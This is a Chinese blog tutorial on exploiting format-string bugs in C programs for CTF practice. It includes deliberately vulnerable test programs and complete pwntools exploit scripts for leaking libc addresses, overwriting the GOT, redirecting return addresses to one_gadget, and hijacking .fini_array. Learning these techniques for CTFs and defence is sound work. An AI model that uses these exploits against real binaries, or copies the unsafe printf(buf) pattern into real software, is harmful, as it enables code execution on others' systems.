美文网首页
格式化字符串漏洞小结

格式化字符串漏洞小结

作者: cnitlrt | 来源:发表于2020-04-20 21:03 被阅读0次

    格式化字符串漏洞的原理网上资料较多这里就不再进行过多的描述,我们知道在c语言中printf的正确使用方法类似是这种

    printf("%s",buf);
    

    但是现实情况下或许有人偷懒懒便这么写:

    printf(buf);
    

    这便造成了格式化字符串漏洞,这篇文章重点讲在不同的情况下格式化字符串漏洞的利用办法,大致分为以下几种:

    • 格式化字符串漏洞在栈上的利用
    • 格式化字符串在非栈上的利用

    以上两种情况又可以分成以下的三种情况

    • 任意地址泄露
    • 任意地址写大数字
    • 任意地址写小数字
    • 格式化字符串漏洞实现无限循环

    我们先从最简单的说起

    格式化字符串在栈上的利用

    1.任意地址泄露

    这里我写了一个简单的程序来做演示:

    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int main()
    {
        setvbuf(stdout, 0LL, 2, 0LL);
        setvbuf(stdin, 0LL, 2, 0LL);
        char buf[200];
        read(0,buf,200);
        printf(buf);
        return 0;
    }
    

    make:

    gcc test1.c -o test1
    

    在gdb里面我们将断点下在printf,stack 30查看栈的情况

    0000| 0x7ffcd56ad178 --> 0x40071e (<main+136>:  mov    eax,0x0)
    0008| 0x7ffcd56ad180 --> 0xa7024333325 ('%33$p\n')
    0016| 0x7ffcd56ad188 --> 0x0 
    0024| 0x7ffcd56ad190 --> 0x0 
    0032| 0x7ffcd56ad198 --> 0x0 
    0040| 0x7ffcd56ad1a0 --> 0x0 
    0048| 0x7ffcd56ad1a8 --> 0x0 
    0056| 0x7ffcd56ad1b0 --> 0x0 
    0064| 0x7ffcd56ad1b8 --> 0x0 
    0072| 0x7ffcd56ad1c0 --> 0x0 
    0080| 0x7ffcd56ad1c8 --> 0x0 
    0088| 0x7ffcd56ad1d0 --> 0x0 
    0096| 0x7ffcd56ad1d8 --> 0x0 
    0104| 0x7ffcd56ad1e0 --> 0x0 
    0112| 0x7ffcd56ad1e8 --> 0x0 
    0120| 0x7ffcd56ad1f0 --> 0x0 
    0128| 0x7ffcd56ad1f8 --> 0x0 
    0136| 0x7ffcd56ad200 --> 0x0 
    0144| 0x7ffcd56ad208 --> 0x0 
    0152| 0x7ffcd56ad210 --> 0x1 
    0160| 0x7ffcd56ad218 --> 0x40078d (<__libc_csu_init+77>:    add    rbx,0x1)
    0168| 0x7ffcd56ad220 --> 0x7ffcd56ad24e --> 0x4007407b7d 
    0176| 0x7ffcd56ad228 --> 0x0 
    0184| 0x7ffcd56ad230 --> 0x400740 (<__libc_csu_init>:   push   r15)
    0192| 0x7ffcd56ad238 --> 0x4005a0 (<_start>:    xor    ebp,ebp)
    --More--(25/30)
    0200| 0x7ffcd56ad240 --> 0x7ffcd56ad330 --> 0x1 
    0208| 0x7ffcd56ad248 --> 0x7b7dc4f2d0593b00 
    0216| 0x7ffcd56ad250 --> 0x400740 (<__libc_csu_init>:   push   r15)
    0224| 0x7ffcd56ad258 --> 0x7f031a15a830 (<__libc_start_main+240>:   mov    edi,eax)
    0232| 0x7ffcd56ad260 --> 0x1 
    

    可以看到在0x7ffcd56ad258这个地方存放着libc_start_main的地址,假设我们如果想要泄露这个地方的地址该怎么做呢?工欲善其事必先利其器,我们用Pwngdb自带的插件来算以下偏移:

    fmtarg 0x7ffcd56ad258
    The index of format argument : 34 ("\%33$p")
    

    可以看到为33,我们测试一下:

       '%33$p\n'
    [*] Switching to interactive mode
    [DEBUG] Received 0xf bytes:
        '0x7f031a15a830\n'
    0x7f031a15a830
    

    可以看到已经输出我们想要的值,以此类推,这样就可以泄露出我们想要的栈地址的值了

    2.任意地址写

    我们已经展示了如何利用格式化字符串来泄露栈内存以及任意地址内存,那么我们有没有可能修改栈上变量的值呢,甚至修改任意地址变量的内存呢? 答案是可行的,只要变量对应的地址可写,我们就可以利用格式化字符串来修改其对应的数值。这里我们可以想一下格式化字符串中的类型

    %n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    
    实现覆盖小数字:

    这里我们将源程序改变一下,设置一个后门

    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int otherbuf[200];
    void welcome()
    {
        puts("hello!");
    }
    int main()
    {
        setvbuf(stdout, 0LL, 2, 0LL);
        setvbuf(stdin, 0LL, 2, 0LL);
        char buf[200];
        welcome();
    
        read(0,buf,200);
        printf(buf);
        if(*otherbuf == 0x2)
        {
            system("sh");
        }
    }
    

    make

    gcc test1.c -m32 -o test2
    

    通过源程序我们可以看到当otherbuf==2 的时候可以触发后门函数

    (ctfwiki)首先,我们来考虑一下如何修改变量为一个较小的数字,比如说,小于机器字长的数字。这里以 2 为例。可能会觉得这其实没有什么区别,可仔细一想,真的没有么?如果我们还是将要覆盖的地址放在最前面,那么将直接占用机器字长个 (4 或 8) 字节。显然,无论之后如何输出,都只会比 4 大
    那么我们应该怎么做呢?再仔细想一下,我们有必要将所要覆盖的变量的地址放在字符串的最前面么?似乎没有,我们当时只是为了寻找偏移,所以才把 tag 放在字符串的最前面,如果我们把 tag 放在中间,其实也是无妨的。类似的,我们把地址放在中间,只要能够找到对应的偏移,其照样也可以得到对应的数值。前面已经说了我们的格式化字符串的为第 6 个参数。由于我们想要把 2 写到对应的地址处,故而格式化字符串的前面的字节必须是

    aa%k$nxx
    

    理论已经知道了接下来我们实践一下:
    通过ida我们可以得到otherbuf的地址为:0x804a060
    因此我们可以这样构造:

    "aa%k$n pading"+p32(otherbuf)
    

    其中k的值需要们动态调一下:
    我们还是在printf处下断点,同时输入我们的payload

    payload = "aa%7$n"
    payload = payload.ljust(8,"a")
    payload += p32(0x804a060)
    

    此时栈:

    0000| 0xffce4a8c --> 0x8048608 (<main+116>: add    esp,0x10)
    0004| 0xffce4a90 --> 0xffce4aa4 ("aa%7$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
    0008| 0xffce4a94 --> 0xffce4aa4 ("aa%7$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
    0012| 0xffce4a98 --> 0xc8 
    0016| 0xffce4a9c --> 0x80485e0 (<main+76>:  sub    esp,0x4)
    0020| 0xffce4aa0 --> 0x0 
    0024| 0xffce4aa4 ("aa%7$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
    0028| 0xffce4aa8 ("$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
    0032| 0xffce4aac --> 0x804a060 --> 0x0 
    0036| 0xffce4ab0 --> 0xf7eecf0a (<check_match+218>: adc    al,0x58)
    0040| 0xffce4ab4 --> 0x0 
    0044| 0xffce4ab8 --> 0xf7f08ad0 --> 0xf7f08a74 --> 0xf7ede470 --> 0xf7f08918 -->0x0
    

    可以看到otherbuf的地址在0xffce4aac位置,我们fmtarg一下看一下这个位置的偏移:

    fmtarg 0xffce4aac
    The index of format argument : 8 ("\%7$p")
    

    可以看到偏移为7那我们的payload就不用修改了,我们单步调试继续运行
    可以看到otherbuf已经成功被覆盖成小数字2了:

    0x804a060 <otherbuf>:   0x00000002  0x00000000  0x00000000  0x00000000
    

    成功获得shell:

    $id
    uid=1000(cnitlrt) gid=1000(cnitlrt) 组=1000(cnitlrt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
    $  
    
    任意地址覆盖大数字:

    这种在ctf中算是最常见的了,就不再进行过多的叙述,直接看例子,这里为了方便添加了一个while循环,一会我们再研究当没有while循环的办法

    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int otherbuf[200];
    void backdoor()
    {
        system("sh");
    }
    void welcome()
    {
        puts("hello!");
    }
    int main()
    {
        setvbuf(stdout, 0LL, 2, 0LL);
        setvbuf(stdin, 0LL, 2, 0LL);
        char buf[200];
        welcome();
        while(1)
        {
            read(0,buf,200);
            if(!strcmp(buf,"quit\n"))
                break;
            printf(buf);
        }
        
    }
    

    make

    gcc test1.c -m32 -o test3
    

    通过ida我们可以得到backdoor的地址,我们只要将printf_got的地址覆盖为backdoor的地址就能获取shell了
    exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    __Author__ = 'cnitlrt'
    import sys
    import os
    from pwn import *
    from LibcSearcher import LibcSearcher
    #context.log_level = 'debug'
    
    binary = 'test3'
    elf = ELF('test3')
    libc = elf.libc
    context.binary = binary
    
    DEBUG = 1
    if DEBUG:
      p = process(binary)
    else:
      host = ""
      port =  0
      p = remote(host,port)
    o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    backdoor = 0x080485AB
    printf_got = elf.got["printf"]
    addr1 = backdoor&0xffff
    addr2 = backdoor>>16
    payload = "%{}c%{}$hn".format(addr2,17)
    payload += "%{}c%{}$hn".format(addr1-addr2,18)
    payload = payload.ljust(48,"a")
    payload += p32(printf_got+2)+p32(printf_got)
    print str(payload)
    gdb.attach(p,"b printf\nc")
    p.sendline(payload)
    p.interactive()
    

    由于直接覆盖四个字节会很容易崩因此我们选择两个字节两个字节的覆盖,计算偏移的办法在上一节已经提到这里就不再进行过多的描述

    格式化字符串在非栈上的利用:

    格式化字符串在非栈上就意味着我们不能像以前直接控制栈上的数据,来进行任意地址写,这就为我们的利用造成了一定的难度,因此需要在栈上找一些跳板来间接进行利用,废话不多说,直接上例子,我们通过例子来进行分析

    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    char buf[200];
    void welcome()
    {
        puts("hello!");
    }
    int main()
    {
        setvbuf(stdout, 0LL, 2, 0LL);
        setvbuf(stdin, 0LL, 2, 0LL);
        welcome();
        while(1)
        {
            read(0,buf,200);
            if(!strncmp(buf,"quit\n",5))
                break;
            printf(buf);
        }
        
    }
    

    make:

     gcc test1.c  -o test5
    

    首先需要找跳板,我们还是打开gdb,将断点下在printf处,查看栈的数据:

    0000| 0x7ffe16453838 --> 0x40073a (<main+99>:   mov    edx,0x5)
    0008| 0x7ffe16453840 --> 0x400770 (<__libc_csu_init>:   push   r15)
    0016| 0x7ffe16453848 --> 0x7f10939b7830 (<__libc_start_main+240>:   mov    edi,eax)
    0024| 0x7ffe16453850 --> 0x0 
    0032| 0x7ffe16453858 --> 0x7ffe16453928 --> 0x7ffe16454227 --> 0x5451003574736574 ('test5')
    0040| 0x7ffe16453860 --> 0x100000000 
    0048| 0x7ffe16453868 --> 0x4006d7 (<main>:  push   rbp)
    0056| 0x7ffe16453870 --> 0x0 
    0064| 0x7ffe16453878 --> 0x40c9c30203abe068 
    0072| 0x7ffe16453880 --> 0x4005d0 (<_start>:    xor    ebp,ebp)
    0080| 0x7ffe16453888 --> 0x7ffe16453920 --> 0x1 
    0088| 0x7ffe16453890 --> 0x0 
    0096| 0x7ffe16453898 --> 0x0 
    0104| 0x7ffe164538a0 --> 0xbf35ef087debe068 
    0112| 0x7ffe164538a8 --> 0xbee8e4b4e29be068 
    0120| 0x7ffe164538b0 --> 0x0 
    0128| 0x7ffe164538b8 --> 0x0 
    0136| 0x7ffe164538c0 --> 0x0 
    0144| 0x7ffe164538c8 --> 0x7ffe16453938 --> 0x7ffe1645422d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
    0152| 0x7ffe164538d0 --> 0x7f1093f88168 --> 0x0 
    

    通过gdb我们将跳板选在0x7ffe16453858这个位置,为什么要选择这个位置呢?

    我们可以很清楚的看到这个位置还存着栈上的另外一个地址,仔细回想一下,当格式化字符串在栈上的时候我们是直接将我们要覆盖的地址写在栈上,然后通过$n来修改其内容,通过类比,我们可以将0x7ffe16453858中存的栈地址类比成目标地址,然后间接对其内容进行操作

    我们还可以看到在0x7ffe16453848这个位置存着libc_start_main的地址,因此可以直接通过任意地址读来leak出libc的地址
    找到跳板了,leak出libc的地址来了,那接下来呢?
    接下来就是跳板的利用了

    我们现在假设0x7ffe16453858这个为fmt9,其所存的地址为fmt35,那我们就可以通过对fmt9的操作来间接改变fmt35的内容,使其指向别的地方,这里我们选择其指向存储返回地址的地方,设其为ret_addr,因为直接使用%n的话很容易崩,而且很容易发现这两个地址只有后两个字节有所差异,因此我们只需要覆盖后两个字节就好,此时fmt35里面存着ret_addr,那我们通过对fmt35操作就可以改变ret_addr的内容,即改变返回地址,我们可以将他变为one_gadget,光说不做假把式,接下来就一起跟一跟

    第一步:leak地址:

    payload = "%7$p"
    p.recv()
    p.sendline(payload)
    ru("0x")
    libc_base = int(p.recv(12),16)-240-libc.sym["__libc_start_main"]
    lg("libc_base",libc_base)
    one = libc_base+o_g[0]
    lg("one",one)
    payload = "%9$p"
    p.sendline(payload)
    ru("0x")
    fmt35 = int(p.recv(12),16)
    fmt9 = fmt35-0xd0
    ret_addr = fmt9-0x10
    

    第二步:ret_addr改为one_gadget
    因为one_gadget的地址和返回地址有三个字节的差异,因此我们先改倒数第三个字节:

    payload = "%{}c%{}$hn".format((ret_addr+2)&0xffff,9)
    p.sendline(payload)
    payload = "%{}c%{}$hhn".format((one>>16)&0xff,35)
    p.sendline(payload)
    

    修改之前的栈:

    0000| 0x7ffe90bf09c8 --> 0x400761 (<main+138>:  jmp    0x400721 <main+74>)
    0008| 0x7ffe90bf09d0 --> 0x400770 (<__libc_csu_init>:   push   r15)
    0016| 0x7ffe90bf09d8 --> 0x7fa5d3fc6830 (<__libc_start_main+240>:   mov    edi,eax)
    0024| 0x7ffe90bf09e0 --> 0x1 
    0032| 0x7ffe90bf09e8 --> 0x7ffe90bf0ab8 --> 0x7ffe90bf1227 --> 0x5451003574736574 ('test5')
    0040| 0x7ffe90bf09f0 --> 0x1d4595ca0 
    0048| 0x7ffe90bf09f8 --> 0x4006d7 (<main>:  push   rbp)
    0056| 0x7ffe90bf0a00 --> 0x0 
    0064| 0x7ffe90bf0a08 --> 0x6a15ab5a1afa311b 
    0072| 0x7ffe90bf0a10 --> 0x4005d0 (<_start>:    xor    ebp,ebp)
    0080| 0x7ffe90bf0a18 --> 0x7ffe90bf0ab0 --> 0x1 
    0088| 0x7ffe90bf0a20 --> 0x0 
    0096| 0x7ffe90bf0a28 --> 0x0 
    0104| 0x7ffe90bf0a30 --> 0x95e88aa407da311b 
    0112| 0x7ffe90bf0a38 --> 0x955e0c22dbca311b 
    0120| 0x7ffe90bf0a40 --> 0x0 
    0128| 0x7ffe90bf0a48 --> 0x0 
    0136| 0x7ffe90bf0a50 --> 0x0 
    0144| 0x7ffe90bf0a58 --> 0x7ffe90bf0ac8 --> 0x7ffe90bf122d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
    0152| 0x7ffe90bf0a60 --> 0x7fa5d4597168 --> 0x0 
    

    修改之后的栈:

    0000| 0x7ffe45c644d8 --> 0x40073a (<main+99>:   mov    edx,0x5)
    0008| 0x7ffe45c644e0 --> 0x400770 (<__libc_csu_init>:   push   r15)
    0016| 0x7ffe45c644e8 --> 0x7f40f210d830 (<__GI___printf_fp_l+864>:  add    BYTE PTR [rax],al)
    0024| 0x7ffe45c644f0 --> 0x1 
    0032| 0x7ffe45c644f8 --> 0x7ffe45c645c8 --> 0x7ffe45c644ea --> 0x100007f40f210 
    0040| 0x7ffe45c64500 --> 0x100000002 
    0048| 0x7ffe45c64508 --> 0x4006d7 (<main>:  push   rbp)
    0056| 0x7ffe45c64510 --> 0x0 
    0064| 0x7ffe45c64518 --> 0x83b39a71ccda3cf2 
    0072| 0x7ffe45c64520 --> 0x4005d0 (<_start>:    xor    ebp,ebp)
    0080| 0x7ffe45c64528 --> 0x7ffe45c645c0 --> 0x1 
    0088| 0x7ffe45c64530 --> 0x0 
    0096| 0x7ffe45c64538 --> 0x0 
    0104| 0x7ffe45c64540 --> 0x7c4f117d4bda3cf2 
    0112| 0x7ffe45c64548 --> 0x7d327eea6dea3cf2 
    0120| 0x7ffe45c64550 --> 0x0 
    0128| 0x7ffe45c64558 --> 0x0 
    0136| 0x7ffe45c64560 --> 0x0 
    0144| 0x7ffe45c64568 --> 0x7ffe45c645d8 --> 0x7ffe45c6522d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
    0152| 0x7ffe45c64570 --> 0x7f40f26ae168 --> 0x0 
    

    可以很清楚的看到存放的返回地址已经改变(因为我开启了地址随机化因此每次加载时的地址不一样,具体要根据自己的机器为准)
    同理可以改变ret_addr的后两个字节

    while True:
            p.sendline("cnitlrt")
            sleep(0.2)
            data = p.recv()
            if data.find("cnitlrt") != -1:
                break
    payload = "%{}c%{}$hn".format(ret_addr&0xffff,9)
    p.sendline(payload)
    while True:
            p.sendline("cnitlrt")
            sleep(0.2)
            data = p.recv()
            if data.find("cnitlrt") != -1:
                break
    payload = "%{}c%{}$hn".format(one&0xffff,35)
    p.sendline(payload)
    

    这里的一段while,是因为输出的实在太多了recv()每次只能接受0x1000的内容,如果没有循环的话会卡住。用一个标识符做接受完成标志

    0000| 0x7ffec6a1b558 --> 0x40073a (<main+99>:   mov    edx,0x5)
    0008| 0x7ffec6a1b560 --> 0x400770 (<__libc_csu_init>:   push   r15)
    0016| 0x7ffec6a1b568 --> 0x7fc91fda2216 (<do_system+1014>:  lea    rsi,[rip+0x381343]        # 0x7fc920123560 <intr>)
    0024| 0x7ffec6a1b570 --> 0x1 
    0032| 0x7ffec6a1b578 --> 0x7ffec6a1b648 --> 0x7ffec6a1b568 --> 0x7fc91fda2216 (<do_system+1014>:    lea    rsi,[rip+0x381343]        # 0x7fc920123560 <intr>)
    0040| 0x7ffec6a1b580 --> 0x100000002 
    0048| 0x7ffec6a1b588 --> 0x4006d7 (<main>:  push   rbp)
    0056| 0x7ffec6a1b590 --> 0x0 
    0064| 0x7ffec6a1b598 --> 0x79020a71114123f7 
    0072| 0x7ffec6a1b5a0 --> 0x4005d0 (<_start>:    xor    ebp,ebp)
    0080| 0x7ffec6a1b5a8 --> 0x7ffec6a1b640 --> 0x1 
    0088| 0x7ffec6a1b5b0 --> 0x0 
    0096| 0x7ffec6a1b5b8 --> 0x0 
    0104| 0x7ffec6a1b5c0 --> 0x86ff87b2754123f7 
    0112| 0x7ffec6a1b5c8 --> 0x8690355eb07123f7 
    0120| 0x7ffec6a1b5d0 --> 0x0 
    0128| 0x7ffec6a1b5d8 --> 0x0 
    0136| 0x7ffec6a1b5e0 --> 0x0 
    0144| 0x7ffec6a1b5e8 --> 0x7ffec6a1b658 --> 0x7ffec6a1c22d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
    0152| 0x7ffec6a1b5f0 --> 0x7fc92034e168 --> 0x0 
    

    可以看到返回地址已经修改为one_gadget,接下来只要退出就可以或的shell了

    p.sendline("\x00"*200)
    sleep(1)
    p.sendline("quit")
    

    "\x00"*200是为了重置buf内容,为了后面顺利执行ret
    完整exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    __Author__ = 'cnitlrt'
    import sys
    import os
    from pwn import *
    from LibcSearcher import LibcSearcher
    # context.log_level = 'debug'
    
    binary = 'test5'
    elf = ELF('test5')
    libc = elf.libc
    context.binary = binary
    
    DEBUG = 1
    if DEBUG:
      p = process(binary)
    else:
      host = ""
      port =  0
      p = remote(host,port)
    o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    payload = "%7$p"
    p.recv()
    p.sendline(payload)
    ru("0x")
    libc_base = int(p.recv(12),16)-240-libc.sym["__libc_start_main"]
    lg("libc_base",libc_base)
    one = libc_base+o_g[0]
    lg("one",one)
    payload = "%9$p"
    p.sendline(payload)
    ru("0x")
    fmt35 = int(p.recv(12),16)
    fmt9 = fmt35-0xd0
    ret_addr = fmt9-0x10
    payload = "%{}c%{}$hn".format((ret_addr+2)&0xffff,9)
    p.sendline(payload)
    payload = "%{}c%{}$hhn".format((one>>16)&0xff,35)
    p.sendline(payload)
    while True:
            p.sendline("cnitlrt")
            sleep(0.2)
            data = p.recv()
            if data.find("cnitlrt") != -1:
                break
    payload = "%{}c%{}$hn".format(ret_addr&0xffff,9)
    p.sendline(payload)
    while True:
            p.sendline("cnitlrt")
            sleep(0.2)
            data = p.recv()
            if data.find("cnitlrt") != -1:
                break
    payload = "%{}c%{}$hn".format(one&0xffff,35)
    p.sendline(payload)
    p.sendline("\x00"*200)
    sleep(1)
    p.sendline("quit")
    # gdb.attach(p,"b printf\nc")
    p.interactive()
    

    格式化字符串漏洞实现无限循环

    这里我们引用一张经典的图: 1531897940817.png!small.jpg

    简单地说,在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针 ,而我们的目标就是修改.fini_array数组的第一个元素为start。需要注意的是,这个数组的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要一次性修改两个地址并且合理调整payload
    ----ichunqiu

    上例子:ciscn_2019_sw_1
    通过ida反编译我们可以看到:

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char format; // [esp+0h] [ebp-48h]
    
      setvbuf(stdin, 0, 2, 0);
      setvbuf(stdout, 0, 2, 0);
      puts("Welcome to my ctf! What's your name?");
      __isoc99_scanf("%64s", &format);
      printf("Hello ");
      printf(&format);
      return 0;
    }
    

    没有了while循环,因此我们劫持fini_array数组并把printf劫持为system
    具体payload:

    payload = p32(fini_array)
    payload += p32(fini_array+2)
    payload += p32(elf.got["printf"])
    payload += p32(elf.got["printf"]+2)
    payload += "%{}c%4$hn%{}c%5$hn%{}c%6$hn%{}c%7$hn".format(main1-16,main2+0x10000-main1,sys1-main2,sys2+0x10000-sys1)
    

    完整exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    import sys
    import os
    from pwn import *
    from LibcSearcher import LibcSearcher
    #context.log_level = 'debug'
    
    binary = 'ciscn_2019_sw_1'
    elf = ELF('ciscn_2019_sw_1')
    libc = elf.libc
    context.binary = binary
    
    DEBUG = 1
    if DEBUG:
      p = process(binary)
    else:
      host = "node3.buuoj.cn"
      port =  28161
      p = remote(host,port)
    o_g = [0x4f2c5,0x4f322,0x10a38c]
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    fini_array = 0x0804979C
    sys_addr = 0x80483d0
    main_addr = 0x08048534
    sys1 = sys_addr&0xffff
    sys2 = sys_addr>>16
    main1 = main_addr&0xffff
    main2 = (main_addr>>16)
    # main2 = main2-1
    payload = p32(fini_array)
    payload += p32(fini_array+2)
    payload += p32(elf.got["printf"])
    payload += p32(elf.got["printf"]+2)
    payload += "%{}c%4$hn%{}c%5$hn%{}c%6$hn%{}c%7$hn".format(main1-16,main2+0x10000-main1,sys1-main2,sys2+0x10000-sys1)
    p.sendline(payload)
    p.interactive()
    

    总结:

    格式化字符串虽然简单但熟练的利用可以在解题中收获意想不到的效果

    相关文章

      网友评论

          本文标题:格式化字符串漏洞小结

          本文链接:https://www.haomeiwen.com/subject/ehyrihtx.html